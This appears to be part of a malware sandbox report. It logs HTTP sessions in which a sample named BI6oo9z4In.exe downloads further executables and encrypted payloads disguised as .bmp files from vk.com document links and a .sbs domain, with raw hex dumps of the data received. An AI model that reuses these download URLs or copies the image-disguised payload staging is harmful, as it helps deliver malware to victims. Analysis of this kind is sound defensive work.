00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-05-24 07:42:09 UTC	16384	IN	Data Raw: 18 b3 fc 0a e0 35 de 40 a6 90 f2 97 57 28 10 cc 73 79 e3 69 16 e1 b8 fe e9 8e 94 b6 ae 64 d5 26 45 4a 57 22 09 7b d2 f1 76 4c ee 5a 0d 24 06 73 29 0e 34 b7 7f 3e e7 1a 04 81 05 e8 a1 99 cb 10 9b 6a 64 21 f1 00 97 16 ca d0 c2 64 78 2f 8a 25 1f 35 06 b8 78 1a 02 d4 1f 59 4c e5 24 07 36 09 76 e6 12 a1 6d 03 8d 16 7e 41 f4 59 ef 5c 95 75 c6 e8 93 32 45 3a 05 0d ce 3a 66 5e 1f 0a 1b 7d 50 92 91 80 8a 1b f7 18 af 11 1e dc ff 1b db 0c 2a f6 5d 22 5f 41 49 ff 99 2b 17 62 14 6d ca 96 b2 38 9d 4d fb bf 9c 2c 83 a6 8a 20 76 27 fa 26 8d c4 2b 0f 3c b5 2e 98 be cc 8b 07 2a ab 57 45 cd dd 63 78 85 76 e6 65 02 84 5f 99 40 73 ba d8 6c c3 31 34 b2 54 93 1c f8 6e 82 7c 4d 45 57 96 8f 1c 9b 43 08 e2 a1 0b 91 95 b3 40 a1 00 45 7e d9 9e c8 39 96 08 a2 5b 86 2b 78 71 35 ab 74 Data Ascii: 5@W(syid&EJW"{vLZ$s)4>jd!dx/%5xYL$6vm~AY\u2E::f^}P]"_AI+bm8M, v'&+<.WEcxve_@sl14Tn\|MEWC@E~9[+xq5t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49771	188.114.97.3	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:09 UTC	573	OUT	GET /var/www/keitaro/post/File_294/setup294.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Cache-Control: no-cache Host: fleur-de-lis.sbs Connection: Keep-Alive Cookie: _subid=38akcjk2e8lg3; 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjI0OVwiOjE3MTY1MzY1MjV9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE2NTM2NTI1fSxcInRpbWVcIjoxNzE2NTM2NTI1fSJ9.j44058psupnUysTtdISWQPrExbM7CT9xTMjMxxQUiB0; _token=uuid_38akcjk2e8lg3_38akcjk2e8lg3665044d08d1742.67470230
2024-05-24 07:42:09 UTC	215	IN	HTTP/1.1 404 Not Found Date: Fri, 24 May 2024 07:42:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: HIT Age: 2 Server: cloudflare CF-RAY: 888ba5be1b9a726b-EWR
2024-05-24 07:42:09 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-05-24 07:42:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49783	93.186.225.194	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:11 UTC	324	OUT	GET /doc863235369_679548730?hash=VLR7cQ444BmBjXLp6la3lUFGFg05ZJB7nkcmssw9Kvz&dl=1NJlbpp4OAVyDAr1uKZWHdqzidK1oz5VZ5ub6orZHcP&api=1&no_preview=1#mene HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: vk.com Cache-Control: no-cache
2024-05-24 07:42:11 UTC	1220	IN	HTTP/1.1 302 Found Server: kittenx Date: Fri, 24 May 2024 07:42:11 GMT Content-Type: text/html; charset=windows-1251 Content-Length: 0 Connection: close X-Powered-By: KPHP/7.4.116865 Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Set-Cookie: remixlang=3; expires=Thu, 29 May 2025 15:55:46 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixstlid=9067327247599058886_XfNsTmtDKouxKKaB5wW3GgwY2gTdMFBlxzVftsqm7wP; expires=Sat, 24 May 2025 07:42:11 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixir=1; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Cache-control: no-store X-Robots-Tag: noindex,nofollow Reporting-Endpoints: default="https://vk.com/browser_reports?dest=default_reports" Location: https://sun6-23.userapi.com/c240331/u863235369/docs/d9/9b11db64d68a/crypted.bmp?extra=RIXI9ZURxHbNwKar7u7Vp3l2dMCuYUwn0vqVroE0voOrsaN1719tcchE2pJ4nDtRX4j2DtEPIi3H17jMoIXTJ8zfYSG59wyRLl4e9qdl0CyQiw_ErgQQEHUCRd047rL-Yl41rLpRt_bmYQ X-Frontend: front661202 Strict-Transport-Security: max-age=15768000 Access-Control-Expose-Headers: X-Frontend X-Trace-Id: eIvXtJv4MVBR7ITc2AWZ0AZyiE_YXA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49784	93.186.225.194	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:11 UTC	322	OUT	GET /doc5294803_669843349?hash=9zPjskz2rlw4WpxESbjigfNghvMBCG7BIpLthkH7eKs&dl=usJOnLsECNfeEiGdn2IU9JTEdwqaRFTDnZMFQJn7v9z&api=1&no_preview=1#ww11 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: vk.com Cache-Control: no-cache
2024-05-24 07:42:11 UTC	1216	IN	HTTP/1.1 302 Found Server: kittenx Date: Fri, 24 May 2024 07:42:11 GMT Content-Type: text/html; charset=windows-1251 Content-Length: 0 Connection: close X-Powered-By: KPHP/7.4.116865 Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Set-Cookie: remixlang=3; expires=Sat, 17 May 2025 07:53:56 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixstlid=9065638397738796067_mfs69AtQEeKIXQUS79tZSbghU1oh3qYdyhMXjJRmnLX; expires=Sat, 24 May 2025 07:42:11 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixir=1; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Cache-control: no-store X-Robots-Tag: noindex,nofollow Reporting-Endpoints: default="https://vk.com/browser_reports?dest=default_reports" Location: https://sun6-21.userapi.com/c909618/u5294803/docs/d8/2a65b6d566b9/WWW11_32.bmp?extra=pQTODAN8utbcf_qh_j-eyneT5bGzHFGQMGblKM3jXRqtJHrOY3IDdcjoF5zP25fxziAva3znutva08nNZJqaW4Uz1Iik83EUDVvJ0j2-8jJ211HyIyqSgoQJ0PJbMG4qZVQeMGF6VVE X-Frontend: front661700 Strict-Transport-Security: max-age=15768000 Access-Control-Expose-Headers: X-Frontend X-Trace-Id: _8Kns-bTGdhVzLuKHUq4xZoROvg0RA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49787	95.142.206.3	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:13 UTC	419	OUT	GET /c240331/u863235369/docs/d9/9b11db64d68a/crypted.bmp?extra=RIXI9ZURxHbNwKar7u7Vp3l2dMCuYUwn0vqVroE0voOrsaN1719tcchE2pJ4nDtRX4j2DtEPIi3H17jMoIXTJ8zfYSG59wyRLl4e9qdl0CyQiw_ErgQQEHUCRd047rL-Yl41rLpRt_bmYQ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Cache-Control: no-cache Host: sun6-23.userapi.com Connection: Keep-Alive
2024-05-24 07:42:14 UTC	585	IN	HTTP/1.1 200 OK Server: kittenx Date: Fri, 24 May 2024 07:42:14 GMT Content-Type: image/x-ms-bmp Content-Length: 363524 Connection: close Last-Modified: Thu, 23 May 2024 16:10:14 GMT ETag: "664f6a66-58c04" Expires: Sun, 23 Jun 2024 07:42:14 GMT Cache-Control: max-age=2592000 X-Frontend: front6-23 Access-Control-Expose-Headers: X-Frontend Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD, OPTIONS Strict-Transport-Security: max-age=15768000 Access-Control-Allow-Headers: X-Quic X-Trace-Id: WxfzqJtRHbkxziwINdImQ1_ny2et3w Accept-Ranges: bytes
2024-05-24 07:42:14 UTC	15799	IN	Data Raw: dd cc 66 55 58 4f 85 15 16 15 15 15 11 15 15 15 ea ea 15 15 ad 15 15 15 15 15 15 15 ff 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 e5 15 15 15 1b 80 af 1b 15 a1 1c d8 34 ad 14 59 d8 34 41 7d 7c 66 35 65 67 7a 72 67 74 78 35 76 74 7b 7b 7a 61 35 77 70 35 67 60 7b 35 7c 7b 35 51 5a 46 35 78 7a 71 70 3b 18 18 1f 31 15 15 15 15 15 15 15 5c 99 6a 3a 18 f8 04 69 18 f8 04 69 18 f8 04 69 cb 8a 07 68 14 f8 04 69 cb 8a 0a 68 bf f8 04 69 cb 8a 55 68 0d f8 04 69 cb 8a 01 68 1b f8 04 69 18 f8 01 69 43 f8 04 69 da 79 55 68 80 f8 04 69 da 79 07 68 0c f8 04 69 da 79 0a 68 ff f8 04 69 eb 7a 0a 68 19 f8 04 69 eb 7a 06 68 19 f8 04 69 47 7c 76 7d 18 f8 04 69 15 15 15 15 15 15 15 15 45 50 15 15 59 14 10 15 67 5f 5a Data Ascii: fUXO4Y4A}\|f5egzrgtx5vt{{za5wp5g`{5\|{5QZF5xzqp;1\j:iiihihiUhihiiCiyUhiyhiyhizhizhiG\|v}iEPYg_Z
2024-05-24 07:42:14 UTC	16384	IN	Data Raw: 1a 81 d4 9e d4 d6 9e 70 de d2 50 e9 eb ea ea ea 27 d5 9e 58 e5 71 9c 18 15 15 15 15 4c 4a 4b 4e dc d6 40 9e f9 de 0c 1d 15 15 90 d5 61 1a 95 68 1d 15 60 1c 26 d5 ac 7d b3 50 15 92 14 48 d6 40 9e f9 95 28 79 b3 50 15 15 61 13 95 68 19 15 60 07 ea 60 1d de ca 81 15 15 ea 60 1d de fc 38 15 15 4c 4c a5 14 48 d6 40 9e f9 96 28 65 b3 50 15 ea ea 60 1d 60 12 de 15 86 15 15 fe 1e 7d 65 b3 50 15 de 64 86 15 15 4c e2 cd 4c 0e d5 e2 c5 36 50 1d 48 d6 40 9e f9 ea 60 1d de dd ea ea ea e2 cd 4c 0e d5 e2 cd 5d 48 d6 d9 d9 d9 d9 44 98 59 31 1d 3e dd 96 f4 1a 16 d4 0e dc 1e d4 4c fc 8f 12 15 15 44 98 59 31 1d 3e dd 96 f4 12 16 d4 0e dc 1e d4 4c fc 91 12 15 15 40 9e f9 96 30 9d b3 50 15 15 96 f9 31 96 18 45 00 50 15 14 7f 1f ea 55 51 c5 54 15 90 d5 1a 91 b9 14 15 15 96 70 Data Ascii: pP'XqLJKN@ah`&}PH@(yPah```8LLH@(eP``}ePdLL6PH@`L]HDY1>LDY1>L@0P1EPUQTp
2024-05-24 07:42:14 UTC	16384	IN	Data Raw: 54 15 90 d5 61 c2 9e 40 ed 9e dd 92 1f fe c0 40 9e f9 7d 15 1d 15 15 7f 15 ea 60 1d ea 55 b1 c5 54 15 90 d5 60 27 ea 55 91 c5 54 15 96 ed 42 60 30 7f 12 7d 21 f9 54 15 ea 60 1d de f0 49 15 15 96 d1 19 90 d5 61 1a 7f 15 7f 15 ea 60 1d ea 55 b1 c5 54 15 48 d6 26 d5 48 d6 40 9e f9 43 7d 59 f9 54 15 7d 51 f9 54 15 7d 59 f9 54 15 7f 15 de ee eb ea ea 9e e5 96 d1 01 90 e3 61 01 ea 60 1d 9e db ea 55 ff c4 54 15 ea c3 4b 48 d6 4b 48 ea 30 85 c5 54 15 40 9e f9 43 7d 75 f9 54 15 7d 4d f9 54 15 7d 75 f9 54 15 7f 14 de d5 eb ea ea 96 d1 01 9e e5 ea 60 1d 90 e3 61 19 9e db ea 55 ff c4 54 15 ea c3 fe 13 ea 55 89 c5 54 15 4b 48 d6 40 9e f9 43 7d 65 f9 54 15 7d 7d f9 54 15 7d 65 f9 54 15 7f 17 de 90 eb ea ea 96 d1 01 9e e5 ea 60 1d 90 e3 61 19 9e db ea 55 ff c4 54 15 ea Data Ascii: Ta@@}`UT`'UTB`0}!T`Ia`UTH&H@C}YT}QT}YTa`UTKHKH0T@C}uT}MT}uT`aUTUTKH@C}eT}}T}eT`aUT
2024-05-24 07:42:14 UTC	16384	IN	Data Raw: 73 2e 04 60 0b 73 90 c7 61 55 73 9e 45 17 73 2e 44 17 60 1a 96 d5 11 96 d4 11 73 90 c7 60 cb 26 d5 fe 10 0e d5 96 dd 14 90 d5 1a 91 7b 17 15 15 9e 90 31 eb ea ea 9e db 73 9e 01 73 2e 04 60 0b 73 90 c7 61 55 73 9e 45 17 73 2e 44 17 60 1a 96 d5 11 96 d4 11 73 90 c7 60 cb 26 d5 fe 10 0e d5 96 dd 14 90 d5 1a 91 26 17 15 15 de b8 3f 15 15 26 ce 91 d5 98 90 25 eb ea ea 43 45 1a 81 d6 de dd e9 ea ea 4c 4c 90 d5 60 6c 98 90 25 eb ea ea 90 ce 9e 88 39 eb ea ea 45 46 45 61 12 de 03 b8 15 15 fe 10 de be b6 15 15 96 d1 19 90 d5 61 4c 9e 88 3d eb ea ea 98 90 25 eb ea ea 45 7d 96 15 15 15 46 de 0a e9 ea ea 98 98 45 ea ea ea 96 d1 19 98 44 17 73 9e 14 96 d4 17 73 2e 90 35 eb ea ea 60 e4 3e df c4 ec 98 54 14 45 98 90 45 ea ea ea 45 98 98 11 eb ea ea de 0d ee ea ea 52 fc Data Ascii: s.`saUsEs.D`s`&{1ss.`saUsEs.D`s`&&?&%CELL`l%9EFEaaL=%E}FEDss.5`>TEEER
2024-05-24 07:42:14 UTC	16384	IN	Data Raw: 15 96 dd ea 1e c5 fe 5b 9e 60 1d 9e 58 f9 9e 40 de 9e d7 1e 50 e9 61 2f 9e 53 19 85 bd 14 61 03 ea 60 19 44 46 ea 60 e9 47 ea 60 1d de 3f 15 15 15 96 d1 0d fe 35 95 68 ed 14 60 04 42 7f 17 44 46 de 42 b7 15 15 9e df 9e cd 9e 40 de 16 cf 06 58 e9 9e d6 9e c4 4b 4e 4a dc d6 9e ea 40 9e f9 96 f9 35 46 43 42 ea 60 1d de 0d fb ea ea 9e e5 d2 50 f9 17 15 15 15 4c d4 ed 13 9e db 96 f4 2a 9c 50 f5 7e dc 2d 26 ce 56 26 ea 9e 11 90 25 bb 50 15 9c 50 f1 9c 68 e9 9c 58 de 9f 51 14 3c 9d 50 e5 2f d6 61 16 9c 48 f9 9e 50 1d 9e 5d 1d 9c 58 e1 90 dc 60 1e 9e 50 19 9e 40 01 fc 41 14 15 15 9e 1d 3e 5d 11 9e d4 8c 9e dd 9c 40 ed 9e 50 e1 8c 16 dd 9e 50 ed 9c 58 e1 9e 58 f1 06 d7 9e 40 de 9c 50 ed 95 69 1f 3d 15 9e 58 e1 69 18 ea 60 e9 9e 48 f9 46 45 fc e3 15 15 15 ea 60 09 Data Ascii: [`X@Pa/Sa`DF`G`?5h`BDFB@XKNJ@5FCB`PL*P~-&V&%PPhXQ<P/aHP]X`P@A>]@PPXX@Pi=Xi`HFE`
2024-05-24 07:42:14 UTC	16384	IN	Data Raw: ea ea 42 45 42 98 90 e9 eb ea ea 45 42 ea a3 09 17 15 15 46 de 16 f7 ea ea 96 d1 ff 98 90 e9 e9 ea ea 46 ea 63 11 42 45 42 98 90 e9 eb ea ea 45 7d 15 17 15 15 ea a3 09 17 15 15 46 de ce f4 ea ea 96 d1 31 98 5b 0c 9e c6 7f f2 4d 3e d3 9e e5 1a a2 91 40 e9 ed ea ea bd 14 61 19 95 1c 01 9f 91 55 e9 e8 ea ea fe 07 bd 17 61 19 95 1c 35 9f 91 55 e9 e9 ea ea fe 17 9f d6 9d 94 15 14 15 15 57 54 98 11 1b 2e d2 67 d2 fe 77 7f b3 4d 7f 93 4f 3e c3 98 5b 0c 9c 00 f1 ed ea ea 3e d3 7f f2 4f 3e c3 9c 90 f5 ed ea ea 9e a0 f1 ed ea ea 26 ce aa 15 14 15 15 16 d4 96 ed 0c 62 1d 95 1c 01 98 54 35 fe 1b 98 11 1b 96 ed 0c 62 1f 95 1c 35 98 54 f5 17 d7 fe 17 9f d6 9d 94 15 14 15 15 54 98 11 04 2e d2 9e 90 f5 ed ea ea 67 dc 9e 58 e9 4a 4b 26 d8 4e de 73 e9 eb ea dc d6 9e ea 46 Data Ascii: BEBEBFFcBEBE}F1[M>@aUa5UWT.gwMO>[>O>&bT5b5TT.gXJK&NsF
2024-05-24 07:42:14 UTC	16384	IN	Data Raw: e7 2e ef 61 38 9e d2 3e d7 9c 90 f9 eb ea ea 9e c5 9f 13 98 63 14 9f 59 27 ea 9d 51 27 ea 9d 5b ea 96 fe 14 60 fe 9e 90 15 ea ea ea 9e 00 1d ea ea ea 9e a0 e9 eb ea ea 9e cf 9c 00 11 ea ea ea 2e eb 63 2b fe 12 98 b1 31 15 15 15 15 16 e5 9c a0 e1 eb ea ea 2e e2 66 36 9e 98 ed eb ea ea 42 43 ea 55 ff c4 54 15 ea 00 ed eb ea ea 96 d1 1d 90 d5 9e 90 15 ea ea ea 6b c6 fe 57 9e 00 1d ea ea ea 9e 88 ed eb ea ea fe 16 98 5c 15 16 e5 2e e7 62 80 42 43 9e 05 ea 55 ff c4 54 15 ea c6 9e 00 1d ea ea ea 96 d1 1d 90 d5 9e 90 15 ea ea ea 6b ce 9e 88 11 ea ea ea 9c a0 e1 eb ea ea 9e a0 ed eb ea ea fe 12 98 b1 31 15 15 15 15 9e 90 15 ea ea ea 9e 05 3e cd 9c 98 11 ea ea ea 2e ca 63 80 42 46 9e db ea 55 ff c4 54 15 ea c3 96 d1 1d 90 d5 6a cc 9e 90 15 ea ea ea 9e 98 11 ea ea Data Ascii: .a8>cY'Q'[`.c+1.f6BCUTkW\.bBCUTk1>.cBFUTj
2024-05-24 07:42:14 UTC	16384	IN	Data Raw: 18 18 18 18 18 18 15 15 15 0a 5d 57 15 f6 52 ff 15 bd b3 50 15 ed b3 50 15 81 49 ff 15 49 5d 57 15 7d 80 ff 15 db 0b ff 15 77 74 71 35 70 6d 76 70 65 61 7c 7a 7b 15 15 15 15 15 15 15 6d f0 54 15 1d 15 15 15 91 f0 54 15 12 15 15 15 99 f0 54 15 1d 15 15 15 8d f0 54 15 1c 15 15 15 b1 f0 54 15 1f 15 15 15 a5 f0 54 15 1f 15 15 15 a9 f0 54 15 19 15 15 15 d9 f0 54 15 1c 15 15 15 cd f0 54 15 13 15 15 15 f5 f0 54 15 1c 15 15 15 f9 f0 54 15 1c 15 15 15 ed f0 54 15 1c 15 15 15 11 f3 54 15 12 15 15 15 19 f3 54 15 1f 15 15 15 0d f3 54 15 1e 15 15 15 31 f3 54 15 1c 15 15 15 f9 cb 54 15 15 15 15 15 25 f3 54 15 11 15 15 15 2d f3 54 15 12 15 15 15 ff f3 54 15 14 15 15 15 51 f3 54 15 17 15 15 15 5d f3 54 15 17 15 15 15 59 f3 54 15 14 15 15 15 45 f3 54 15 17 15 15 15 41 f3 Data Ascii: ]WRPPII]W}wtq5pmvpea\|z{mTTTTTTTTTTTTTTT1TT%T-TTQT]TYTETA
2024-05-24 07:42:14 UTC	16384	IN	Data Raw: 15 56 15 6c 15 67 15 79 15 15 15 15 15 66 15 70 15 38 15 53 15 5c 15 15 15 64 15 60 15 6f 15 38 15 45 15 50 15 15 15 15 15 74 15 67 15 38 15 59 15 4c 15 15 15 6f 15 7d 15 38 15 46 15 52 15 15 15 71 15 70 15 38 15 59 15 40 15 15 15 70 15 7b 15 38 15 56 15 54 15 15 15 70 15 66 15 38 15 52 15 41 15 15 15 73 15 67 15 38 15 56 15 5d 15 15 15 7d 15 67 15 38 15 57 15 54 15 15 15 66 15 78 15 7f 15 38 15 5b 15 5a 15 15 15 15 15 74 15 67 15 38 15 51 15 4f 15 15 15 6f 15 7d 15 38 15 58 15 5a 15 15 15 71 15 70 15 38 15 59 15 5c 15 15 15 70 15 7b 15 38 15 5b 15 4f 15 15 15 70 15 66 15 38 15 56 15 47 15 15 15 73 15 67 15 38 15 59 15 40 15 15 15 77 15 66 15 38 15 57 15 54 15 38 15 59 15 74 15 61 15 7b 15 15 15 15 15 66 15 78 15 7f 15 38 15 46 15 50 15 15 15 15 15 74 15 Data Ascii: Vlgyfp8S\d`o8EPtg8YLo}8FRqp8Y@p{8VTpf8RAsg8V]}g8WTfx8[Ztg8QOo}8XZqp8Y\p{8[Opf8VGsg8Y@wf8WT8Yta{fx8FPt
2024-05-24 07:42:14 UTC	16384	IN	Data Raw: 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 c4 80 b4 4b 82 23 78 e2 57 1d 64 d9 c6 13 3e 8d 2d c1 a0 ae 96 76 1c d0 48 ed ce b7 9d f7 ac 3e c5 04 8a 8c bf 15 15 15 1e cc 11 10 36 f5 2e 18 2d 34 a2 65 12 fe 8a 14 a9 fb ee c4 25 e0 c8 2e 83 b2 51 3e ac ee 6f 5a a6 03 b6 ff 9b f8 1c 0a 65 6c 10 1e 1f 92 07 a9 3c fc 2a 33 2a ce 21 a9 14 f7 ce ad 5b 70 88 28 8f c4 01 16 e3 f4 c5 69 9c cf 2b 94 9f 42 81 ce f4 45 15 0e f4 bc 2e ab 9d 7e 0b db ef f7 92 79 7c c3 29 09 b8 bc 74 ab e2 26 9d 6e 52 a3 2c fb 55 55 06 43 e4 9e 3c df 52 0b 3c b0 ae 0c 15 7c 3b 0a d0 11 92 4c a7 47 82 bf Data Ascii: K#xWd>-vH>6.-4e%.Q>oZel<3![p(i+BE.~y\|)t&nR,UUC<R<\|;LG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49788	93.186.225.194	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:13 UTC	321	OUT	GET /doc5294803_669811786?hash=8bhjD7NgoJ7mZZEUFcsdZsXzzoRwkNFDlJU5B89faFX&dl=nQsFZJcLQzXnvMo2rYan1ud8tt9Muz7f4srpOpg5pk8&api=1&no_preview=1#xin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: vk.com Cache-Control: no-cache
2024-05-24 07:42:14 UTC	1214	IN	HTTP/1.1 302 Found Server: kittenx Date: Fri, 24 May 2024 07:42:14 GMT Content-Type: text/html; charset=windows-1251 Content-Length: 0 Connection: close X-Powered-By: KPHP/7.4.116865 Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Set-Cookie: remixlang=3; expires=Thu, 22 May 2025 19:33:40 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixstlid=9064371760346424815_hXN3sHJTCRZqAZtS7SOlTbgWUAwtZAPvEMW55PkYkmg; expires=Sat, 24 May 2025 07:42:14 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixir=1; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Cache-control: no-store X-Robots-Tag: noindex,nofollow Reporting-Endpoints: default="https://vk.com/browser_reports?dest=default_reports" Location: https://sun6-22.userapi.com/c237231/u5294803/docs/d48/577c681b7b2d/xfile.bmp?extra=dYdwrl7550ZsVpDpI4edqrBBWzO62vW2JfAM58VQJEAq1f1u5sRJ-oLSyg7Zpabnwn07YGQJoIh1kqXr4Gqg3GPBO6NvrKJxKvrKzCgnPDESwpUZNyRnnX0rJt6T0vETt-BdDdVw9Rc X-Frontend: front661502 Strict-Transport-Security: max-age=15768000 Access-Control-Expose-Headers: X-Frontend X-Trace-Id: 49LKo4PeHblbxcAe7E3vled3JalgCA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49785	93.186.225.194	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:13 UTC	319	OUT	GET /doc5294803_669847023?hash=ryX3Kg1W9ePIkzc6vvqmcK7uQKdsrG6gPWaYos4CQF0&dl=8t55Ziv6zwGeFneQ1ShZz8YDtAOk4NoUJHmfXbyHjg0&api=1&no_preview=1#1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: vk.com Cache-Control: no-cache
2024-05-24 07:42:14 UTC	1216	IN	HTTP/1.1 302 Found Server: kittenx Date: Fri, 24 May 2024 07:42:14 GMT Content-Type: text/html; charset=windows-1251 Content-Length: 0 Connection: close X-Powered-By: KPHP/7.4.116865 Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Set-Cookie: remixlang=3; expires=Wed, 21 May 2025 05:11:07 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixstlid=9080838046484025401_P30hz8NoLfbHYz532z1XS9RfV26YRnQGtSryQ8sS4Zz; expires=Sat, 24 May 2025 07:42:14 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixir=1; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Cache-control: no-store X-Robots-Tag: noindex,nofollow Reporting-Endpoints: default="https://vk.com/browser_reports?dest=default_reports" Location: https://sun6-23.userapi.com/c909218/u5294803/docs/d58/ae5f17aaecea/crypted.bmp?extra=2KtOsB7RPudhbLUiz0Fys2PnIlSBTnlmpq43sc12T9y5CND5ezdfQbzCDXj4m2UqxmVW2xtpV4S3JDPliqUnfG4acaoLrf78ko6IxDOXK4l5leXznH5kK5CQ_NjfWDpY9abJBbSlfio X-Frontend: front661500 Strict-Transport-Security: max-age=15768000 Access-Control-Expose-Headers: X-Frontend X-Trace-Id: O3Tl1cjV71LHlk_UAhqnjd_zK7_UUA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49789	95.142.206.1	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:13 UTC	415	OUT	GET /c909618/u5294803/docs/d8/2a65b6d566b9/WWW11_32.bmp?extra=pQTODAN8utbcf_qh_j-eyneT5bGzHFGQMGblKM3jXRqtJHrOY3IDdcjoF5zP25fxziAva3znutva08nNZJqaW4Uz1Iik83EUDVvJ0j2-8jJ211HyIyqSgoQJ0PJbMG4qZVQeMGF6VVE HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Cache-Control: no-cache Host: sun6-21.userapi.com Connection: Keep-Alive
